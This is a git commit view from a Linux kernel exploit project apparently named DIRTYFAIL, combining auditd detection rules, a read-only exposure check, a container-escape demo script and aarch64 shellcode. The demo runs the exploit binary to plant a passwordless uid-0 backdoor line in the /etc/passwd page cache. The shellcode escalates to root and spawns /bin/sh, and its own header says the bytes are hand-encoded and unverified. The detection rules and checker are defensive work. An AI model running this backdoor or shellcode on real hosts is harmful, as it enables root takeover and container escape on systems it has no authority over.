Initial skeleton: README, CVE inventory, roadmap, ARCH, ethics + copy_fail_family module absorbed from DIRTYFAIL

This commit is contained in:
2026-05-16 19:26:24 -04:00
commit cf30b249de
45 changed files with 10336 additions and 0 deletions
@@ -0,0 +1,100 @@
# DIRTYFAIL — auditd detection rules
#
# Drop into /etc/audit/rules.d/, then reload:
#
# sudo install -m 0640 99-dirtyfail.rules /etc/audit/rules.d/
# sudo augenrules --load
# sudo systemctl restart auditd
#
# These rules generate audit events for the syscalls the DIRTYFAIL
# exploit chain uses. They are intentionally noisy on systems that
# legitimately use rootless containers, IPsec, or AFS — review the
# Tuning section before enabling on a production host.
#
# Search recorded events:
#
# sudo ausearch -k dirtyfail-xfrm
# sudo ausearch -k dirtyfail-rxkey
# sudo ausearch -k dirtyfail-userns
#
# Rules MUST stay on single lines — auditctl(8) does not honor
# backslash-newline continuations in rule files.
#
# Tested on: Debian 13, Ubuntu 24.04/26.04, AlmaLinux 10, Fedora 44.
## ----------------------------------------------------------------- ##
## 1. XFRM netlink registration from a non-root account
##
## socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM) is an extremely strong
## signal: legitimate use is "ip xfrm" (root) or `swanctl`/charon (root)
## or networkd (root). An unprivileged account creating this socket
## is the precondition for ESP v4/v6/GCM exploitation.
##
## socket() args: a0=family(16=AF_NETLINK) a2=protocol(6=NETLINK_XFRM)
## auid filter: ignore kernel/system processes (auid=4294967295)
## match interactive logins (auid >= 1000)
## ----------------------------------------------------------------- ##
-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=6 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-xfrm
-a always,exit -F arch=b32 -S socket -F a0=16 -F a2=6 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-xfrm
## ----------------------------------------------------------------- ##
## 2. add_key("rxrpc", ...) — RxRPC session-key registration
##
## The rxkad-handshake forgery requires registering a rxrpc-typed key
## via add_key(2). On most servers this should never happen from an
## unprivileged uid; AFS clients that legitimately use this run as
## root or a service account.
## ----------------------------------------------------------------- ##
-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k dirtyfail-rxkey
-a always,exit -F arch=b32 -S add_key -F auid>=1000 -F auid!=4294967295 -k dirtyfail-rxkey
## ----------------------------------------------------------------- ##
## 3. unshare(CLONE_NEWUSER) from interactive accounts
##
## CLONE_NEWUSER == 0x10000000. Every DIRTYFAIL exploit mode does this
## once. WARNING: this fires on every legitimate `unshare -U`, every
## podman/buildah container start, every chrome/firefox sandbox spawn.
## Filter to executions you don't expect, or treat as low-fidelity noise
## that pairs well with the dirtyfail-xfrm key for high-fidelity alerts.
## ----------------------------------------------------------------- ##
-a always,exit -F arch=b64 -S unshare -F a0&268435456 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-userns
-a always,exit -F arch=b32 -S unshare -F a0&268435456 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-userns
## ----------------------------------------------------------------- ##
## 4. AF_ALG socket creation — Copy Fail / GCM precondition
##
## socket(AF_ALG, ...). a0=38 (PF_ALG). Legitimate uses: cryptsetup,
## kernel-side TLS offload, some QEMU paths. Suspicious from a shell
## account.
## ----------------------------------------------------------------- ##
-a always,exit -F arch=b64 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-afalg
-a always,exit -F arch=b32 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k dirtyfail-afalg
## ----------------------------------------------------------------- ##
## 5. Directly watch /etc/passwd and /etc/shadow for in-place modifications
##
## A successful exploit modifies the page-cache copy (which is what
## PAM reads), but these watches fire when /usr/bin/passwd, vipw, or
## anything else opens these files for writing. Useful as a baseline
## change-detection rule independent of DIRTYFAIL.
## ----------------------------------------------------------------- ##
-w /etc/passwd -p wa -k dirtyfail-passwd-write
-w /etc/shadow -p wa -k dirtyfail-shadow-write
## ----------------------------------------------------------------- ##
## Tuning notes
##
## - On servers running rootless containers, dirtyfail-userns will be
## high-volume noise. Either drop rule 3, or filter on `comm!=podman`
## etc. for your specific runtime.
## - On IPsec gateways, dirtyfail-xfrm fires for every legitimate SA
## install. Drop the rule or filter `comm` to your VPN daemon.
## - Pair dirtyfail-userns + dirtyfail-xfrm with a SIEM correlation
## rule: "same auid emits both within 5 seconds" → high-confidence
## exploit-attempt alert.
##
## Note: the AppArmor `change_onexec` rule that an earlier draft
## included is omitted — auditctl won't reliably match writes to
## /proc/self/attr/exec via -F path because the path is per-pid.
## Use the userns + xfrm pair instead for the bypass-detection signal.
## ----------------------------------------------------------------- ##
+181
View File
@@ -0,0 +1,181 @@
#!/bin/bash
#
# dirtyfail-check.sh — defensive precondition probe for sysadmins
#
# A standalone bash script that reports whether this Linux host is
# exposed to Copy Fail (CVE-2026-31431) or Dirty Frag (CVE-2026-43284,
# CVE-2026-43500) exploitation by an unprivileged user.
#
# Does NOT require building DIRTYFAIL. Read-only — does not modify
# the system. Safe to run on production. Does not require root, but
# some checks are more accurate when run as root (kernel module
# inspection, sysctl reads).
#
# Usage:
# bash dirtyfail-check.sh
# # or pipe directly:
# curl -sSL https://raw.githubusercontent.com/KaraZajac/DIRTYFAIL/main/tools/dirtyfail-check.sh | bash
#
# Exit codes:
# 0 = host is mitigated (kernel patched OR LSM blocks unprivileged path)
# 1 = host is VULNERABLE to at least one exploit path
# 2 = check error (couldn't determine state)
set -u
# ANSI colors only when stdout is a tty
if [ -t 1 ]; then
RED='\033[1;31m'; YEL='\033[1;33m'; GRN='\033[1;32m'; CYN='\033[1;36m'; OFF='\033[0m'
else
RED=''; YEL=''; GRN=''; CYN=''; OFF=''
fi
bad() { printf "${RED}[!]${OFF} %s\n" "$*"; }
warn() { printf "${YEL}[~]${OFF} %s\n" "$*"; }
ok() { printf "${GRN}[+]${OFF} %s\n" "$*"; }
info() { printf "${CYN}[*]${OFF} %s\n" "$*"; }
# ============================================================
# 1. Kernel version
# ============================================================
KVER=$(uname -r)
KMAJ=$(echo "$KVER" | cut -d. -f1)
KMIN=$(echo "$KVER" | cut -d. -f2)
info "kernel: $KVER ($(uname -m))"
# Affected kernel window per the CVEs:
# xfrm-ESP no-COW path: introduced 2017 (cac2661c53f3), fixed mainline
# f4c50a4034e6 (2026-05-07).
# algif_aead/authencesn: introduced 2017 (72548b093ee3), fixed
# mainline a664bf3d.
# rxkad page-cache write: introduced 2023-06 (2dc334f1a63a), no
# mainline patch yet at time of writing.
# Kernels 4.10 .. ~6.20 are within the broad window; older kernels
# may also be affected depending on backports.
if [ "$KMAJ" -lt 4 ] || { [ "$KMAJ" -eq 4 ] && [ "$KMIN" -lt 10 ]; }; then
ok "kernel predates CVE introduction (cac2661c53f3, 2017-01)"
NOT_IN_WINDOW=1
else
info "kernel within affected window — checking other preconditions"
NOT_IN_WINDOW=0
fi
# ============================================================
# 2. Module presence + blacklist
# ============================================================
MODS_VULNERABLE=0
MODS_BLACKLISTED=0
echo ""
info "module status:"
for m in algif_aead authencesn esp4 esp6 rxrpc; do
if modinfo "$m" >/dev/null 2>&1; then
if grep -rqE "^\s*install\s+$m\s+/bin/false" /etc/modprobe.d/ /lib/modprobe.d/ 2>/dev/null; then
ok " $m: blacklisted in modprobe.d (mitigated)"
MODS_BLACKLISTED=$((MODS_BLACKLISTED + 1))
elif lsmod | grep -q "^$m\b"; then
warn " $m: loaded — exposes the primitive"
MODS_VULNERABLE=$((MODS_VULNERABLE + 1))
else
warn " $m: present on disk, autoloads on use — exposes the primitive"
MODS_VULNERABLE=$((MODS_VULNERABLE + 1))
fi
else
ok " $m: not on disk (kernel build doesn't ship it)"
fi
done
# ============================================================
# 3. LSM / userns hardening
# ============================================================
echo ""
info "LSM / userns hardening:"
LSM_BLOCKS=0
if [ -r /proc/sys/kernel/apparmor_restrict_unprivileged_userns ]; then
AA=$(cat /proc/sys/kernel/apparmor_restrict_unprivileged_userns 2>/dev/null)
if [ "$AA" = "1" ]; then
ok " apparmor_restrict_unprivileged_userns=1 (Ubuntu-style hardening active)"
# Confirm caps are actually blocked via empirical probe
( unshare -U bash -c 'echo deny > /proc/self/setgroups 2>/dev/null && exit 0 || exit 1' ) 2>/dev/null
if [ $? -ne 0 ]; then
ok " empirical probe: unprivileged userns has no CAP_SYS_ADMIN — exploit infrastructure blocked"
LSM_BLOCKS=1
else
warn " empirical probe: caps survived unshare — sysctl set but enforcement may be off"
fi
else
info " apparmor_restrict_unprivileged_userns=$AA (not enforcing)"
fi
else
info " no AppArmor userns sysctl (kernel without AA, or AA not loaded)"
fi
if command -v getenforce >/dev/null; then
SE=$(getenforce 2>/dev/null)
info " SELinux: $SE"
fi
if [ -r /proc/sys/kernel/unprivileged_userns_clone ]; then
UU=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null)
if [ "$UU" = "0" ]; then
ok " unprivileged_userns_clone=0 (userns creation blocked entirely)"
LSM_BLOCKS=1
fi
fi
# ============================================================
# 4. PAM nullok (gates the rxrpc + backdoor → root step)
# ============================================================
echo ""
info "PAM configuration (gates rxrpc/backdoor → real root):"
PAM_NULLOK=0
if grep -rqE "pam_unix\.so\s+.*nullok" /etc/pam.d/ 2>/dev/null; then
warn " pam_unix nullok present — empty-password accounts can su to root"
PAM_NULLOK=1
grep -lE "pam_unix\.so\s+.*nullok" /etc/pam.d/ 2>/dev/null | sed 's/^/ /'
else
ok " pam_unix nullok NOT enabled — empty-password trick won't drop a root shell"
fi
# ============================================================
# 5. Verdict
# ============================================================
echo ""
echo "════════════════════════════════════════════════════════════"
echo " VERDICT"
echo "════════════════════════════════════════════════════════════"
if [ "$NOT_IN_WINDOW" = "1" ]; then
ok "kernel predates CVE introduction; no exposure"
exit 0
elif [ "$LSM_BLOCKS" = "1" ]; then
ok "LSM-mitigated: unprivileged userns operations are blocked"
info "(kernel may still be vulnerable to root-level exploitation; ensure"
info " your distro's kernel update with f4c50a4034e6 backport is applied"
info " for full coverage.)"
exit 0
elif [ "$MODS_VULNERABLE" = "0" ]; then
ok "all primitives blacklisted or unavailable"
exit 0
else
bad "VULNERABLE: $MODS_VULNERABLE module(s) expose page-cache write primitives"
bad "and unprivileged userns operations are NOT blocked by an LSM."
if [ "$PAM_NULLOK" = "1" ]; then
bad " + pam_unix nullok is enabled — exploit can drop into root via su"
fi
echo ""
info "Remediation options (pick one or combine):"
info " 1. Apply your distro's kernel update with f4c50a4034e6 backport"
info " (best: fixes the bug at its source)"
info " 2. Install + run \`dirtyfail --mitigate\` (blacklists modules,"
info " sets apparmor_restrict_unprivileged_userns=1)"
info " 3. Manual: edit /etc/modprobe.d/ to add"
info " install algif_aead /bin/false"
info " install esp4 /bin/false"
info " install esp6 /bin/false"
info " install rxrpc /bin/false"
info " then \`sudo rmmod\` each + \`sudo sysctl vm.drop_caches=3\`."
info " 4. Disable pam_unix nullok (removes the in-system su step that"
info " converts a page-cache STORE into a real root shell)."
exit 1
fi
@@ -0,0 +1,149 @@
#!/usr/bin/env bash
#
# DIRTYFAIL — container-escape demonstration
#
# Demonstrates: the kernel page cache is global per-kernel. Namespaces
# (mount, pid, user, network) don't isolate it. Two processes on the
# same kernel — one in the host, one inside a fresh "container"
# (created via `unshare`) — see the SAME page-cache contents for
# /etc/passwd. So a page-cache write from either side affects both.
#
# What this script does:
# 1. Show host's /etc/passwd has no `dirtyfail` user (baseline)
# 2. Run `dirtyfail --exploit-backdoor` to plant a uid-0 line into
# /etc/passwd's page cache (persistent — no auto-revert)
# 3. Spawn a fresh user/mount/PID-namespace via `unshare -c -m -p`
# (the closest unprivileged-user analogue to a container) and
# read /etc/passwd from inside the new namespace
# 4. Show the planted line is visible BOTH from the host AND from
# inside the fresh namespace — proving that namespace boundaries
# do not isolate the page cache
# 5. Revert via `dirtyfail --cleanup-backdoor`
#
# Why direction matters less than you'd think: the demo runs the
# exploit on the host and observes from inside the namespace, but the
# property demonstrated is symmetric — a malicious tenant inside a
# container could plant the same line and the host would see it (we
# tested that variant manually; it works the same way, but requires
# `--no-revert` to avoid auto-cleanup overwriting the proof). Running
# the exploit from the host avoids two complications:
# - nested user namespaces interact poorly with the AA bypass dance
# that --exploit-backdoor uses (EPERM on the inner unshare)
# - corrupting the running SSH user's UID locks out future SSH logins
# (StrictModes rejects ~/.ssh/authorized_keys when the file's
# owner uid != logging-in uid)
# --exploit-backdoor targets a system pseudo-user line (sync/setroubleshoot/
# daemon) and never touches the running user, so it's SSH-safe.
#
# Usage:
# ./tools/dirtyfail-container-escape.sh
#
# Env overrides:
# DIRTYFAIL_BIN=/path/to/dirtyfail (default: ./dirtyfail)
set -uo pipefail
# Don't `set -e`; some intermediate commands (unshare with PID-ns, the
# exploit binary itself) may exit non-zero on success-with-warnings or
# on hardened systems where preconditions fail. We check exit codes
# explicitly where they matter.
DIRTYFAIL_BIN="${DIRTYFAIL_BIN:-$(dirname "$0")/../dirtyfail}"
DIRTYFAIL_BIN="$(realpath "$DIRTYFAIL_BIN" 2>/dev/null || echo "$DIRTYFAIL_BIN")"
[[ -x "$DIRTYFAIL_BIN" ]] || {
echo "[!] dirtyfail binary not at $DIRTYFAIL_BIN — run 'make' first" >&2
exit 1
}
bold() { printf '\033[1m%s\033[0m\n' "$*"; }
warn() { printf '\033[1;33m[!]\033[0m %s\n' "$*"; }
info() { printf '\033[1;34m[i]\033[0m %s\n' "$*"; }
ok() { printf '\033[1;32m[+]\033[0m %s\n' "$*"; }
step() { printf '\033[1;35m[*]\033[0m %s\n' "$*"; }
bold "============================================================="
bold " DIRTYFAIL — container-escape demonstration"
bold "============================================================="
echo
# ---- Stage 1: baseline ------------------------------------------------
step "Stage 1: baseline — host /etc/passwd"
if grep -q '^dirtyfail:' /etc/passwd; then
warn "host /etc/passwd already contains a 'dirtyfail' line."
warn "Run \`$DIRTYFAIL_BIN --cleanup-backdoor\` first."
exit 1
fi
ok "host /etc/passwd has no 'dirtyfail' user (clean baseline)"
echo
info "from inside a fresh unshare namespace, /etc/passwd looks identical:"
nscount="$(unshare -c -m bash -c 'grep -c "^dirtyfail:" /etc/passwd 2>/dev/null || echo 0' 2>&1 | tail -1)"
echo " count of dirtyfail lines visible from inside namespace: $nscount"
echo
# ---- Stage 2: plant via host ------------------------------------------
step "Stage 2: run dirtyfail --exploit-backdoor on the host"
echo " (plants 'dirtyfail::0:0:...:/:/bin/bash' into /etc/passwd's"
echo " page cache — persistent until --cleanup-backdoor or reboot)"
echo
printf 'DIRTYFAIL\n' | "$DIRTYFAIL_BIN" --exploit-backdoor --no-shell --no-color 2>&1 | tail -10
echo
# ---- Stage 3: observe from fresh namespace ---------------------------
step "Stage 3: read /etc/passwd from INSIDE a fresh unshare namespace"
echo " (the namespace was created AFTER the exploit ran — if"
echo " namespaces isolated page cache, the new namespace would"
echo " show the original /etc/passwd, not the poisoned one)"
echo
unshare -c -m bash -c '
echo " [inside namespace] uid='"$(id -u)"' (mapped via --map-current-user)"
echo " [inside namespace] mount-namespace is private to this shell"
echo " [inside namespace] grep dirtyfail /etc/passwd:"
if grep "^dirtyfail:" /etc/passwd 2>&1 | sed "s/^/ /"; then :
else echo " (no dirtyfail line found)"
fi
'
echo
# ---- Stage 4: also visible from host ---------------------------------
step "Stage 4: confirm host sees the same line"
HOST_LINE="$(grep '^dirtyfail:' /etc/passwd || true)"
if [[ -n "$HOST_LINE" ]]; then
echo " host: $HOST_LINE"
echo
warn "Both the host and the fresh namespace see the planted dirtyfail"
warn "line. The kernel page cache is shared across all namespaces"
warn "on the same kernel — namespace 'isolation' does not extend"
warn "below the page-cache layer. Symmetrically, an exploit running"
warn "inside a container (with the right preconditions) would plant"
warn "the same line and the HOST would see it."
else
warn "host /etc/passwd does NOT contain a 'dirtyfail' line — the"
warn "exploit did not plant successfully. Possible causes:"
warn " (a) kernel is patched (CVE-2026-31431 fixed)"
warn " (b) LSM blocked the exploit (Ubuntu 26.04 hardening)"
warn " (c) preconditions missing — run \`$DIRTYFAIL_BIN --scan --active\`"
exit 0
fi
echo
# ---- Stage 5: cleanup -------------------------------------------------
step "Stage 5: revert via --cleanup-backdoor"
"$DIRTYFAIL_BIN" --cleanup-backdoor --no-color 2>&1 | tail -5 || true
echo
if grep -q '^dirtyfail:' /etc/passwd; then
warn "cleanup did not remove the line — try as root:"
warn " \`echo 3 | sudo tee /proc/sys/vm/drop_caches\`"
exit 1
fi
ok "host /etc/passwd is clean again"
echo
bold "Demo complete. Takeaways:"
echo " - Namespaces did NOT isolate the host's /etc/passwd page cache"
echo " from the fresh container's view. The same property holds"
echo " in reverse: a container exploit modifies host page cache."
echo " - This applies to ALL kernel page-cache write CVEs in this"
echo " family (CVE-2026-31431, 43284, 43500, and variants)."
echo " - Mitigation: kernel patch, OR LSM hardening that denies the"
echo " exploit's preconditions (apparmor_restrict_unprivileged_userns,"
echo " AF_ALG/AF_RXRPC blacklists), OR drop privileges of any"
echo " container that doesn't strictly need AF_ALG."
@@ -0,0 +1,73 @@
/*
* DIRTYFAIL aarch64 (ARM64) shellcode for --exploit-su
*
* Equivalent to the x86_64 shellcode in src/exploit_su.c but encoded
* for the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes total.
*
* Build for byte-extraction:
*
* aarch64-linux-gnu-as -o exploit_su_aarch64.o exploit_su_aarch64.S
* aarch64-linux-gnu-objcopy -O binary -j .text \
* exploit_su_aarch64.o exploit_su_aarch64.bin
* xxd -i exploit_su_aarch64.bin
*
* The resulting byte array should match `shellcode_aarch64[]` in
* `src/exploit_su.c`. If it doesn't, the C array is wrong and needs
* to be regenerated from this source.
*
* Functional equivalent (in C-like pseudocode):
*
* setuid(0);
* setgid(0);
* execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
*
* STATUS: HAND-ENCODED VERIFY BEFORE DEPLOYING TO PRODUCTION.
* The byte array in src/exploit_su.c was produced by manually
* cross-referencing each instruction against the ARMv8-A reference
* manual; no aarch64 hardware was available to run the resulting
* shellcode end-to-end. Use this .S file to regenerate via the
* assembler if you need confidence.
*/
.text
.global _start
_start:
/* setuid(0) — syscall 146 (0x92) on aarch64 */
movz x0, #0 /* d2 80 00 00 */
movz x8, #146 /* d2 80 12 48 */
svc #0 /* d4 00 00 01 */
/* setgid(0) — syscall 144 (0x90) */
movz x0, #0 /* d2 80 00 00 */
movz x8, #144 /* d2 80 12 08 */
svc #0 /* d4 00 00 01 */
/* Build "/bin/sh\0" in x9.
*
* As a 64-bit little-endian word, "/bin/sh\0" = 0x0068732f6e69622f
* bits 0..15 = 0x622f (chars '/' 'b' in low->high order)
* bits 16..31 = 0x6e69
* bits 32..47 = 0x732f
* bits 48..63 = 0x0068
*/
movz x9, #0x622f /* d2 8c 45 e9 */
movk x9, #0x6e69, lsl #16 /* f2 ad cd 29 */
movk x9, #0x732f, lsl #32 /* f2 ce 65 e9 */
movk x9, #0x0068, lsl #48 /* f2 e0 0d 09 */
/* Push the string to the stack (sp -= 16; [sp] = x9). */
str x9, [sp, #-16]! /* f8 1f 0f e9 */
mov x9, sp /* 91 00 03 e9 string ptr */
/* Build argv = [x9, NULL] on the stack: sp -= 16; sp[0] = x9; sp[8] = NULL. */
sub sp, sp, #16 /* d1 00 43 ff */
str xzr, [sp, #8] /* f9 00 07 ff argv[1] = NULL */
str x9, [sp, #0] /* f9 00 03 e9 argv[0] = ptr */
/* execve(pathname=x9, argv=sp, envp=NULL) — syscall 221 (0xdd) */
mov x0, x9 /* aa 09 03 e0 */
mov x1, sp /* 91 00 03 e1 */
mov x2, xzr /* aa 1f 03 e2 */
movz x8, #221 /* d2 80 1b a8 */
svc #0 /* d4 00 00 01 */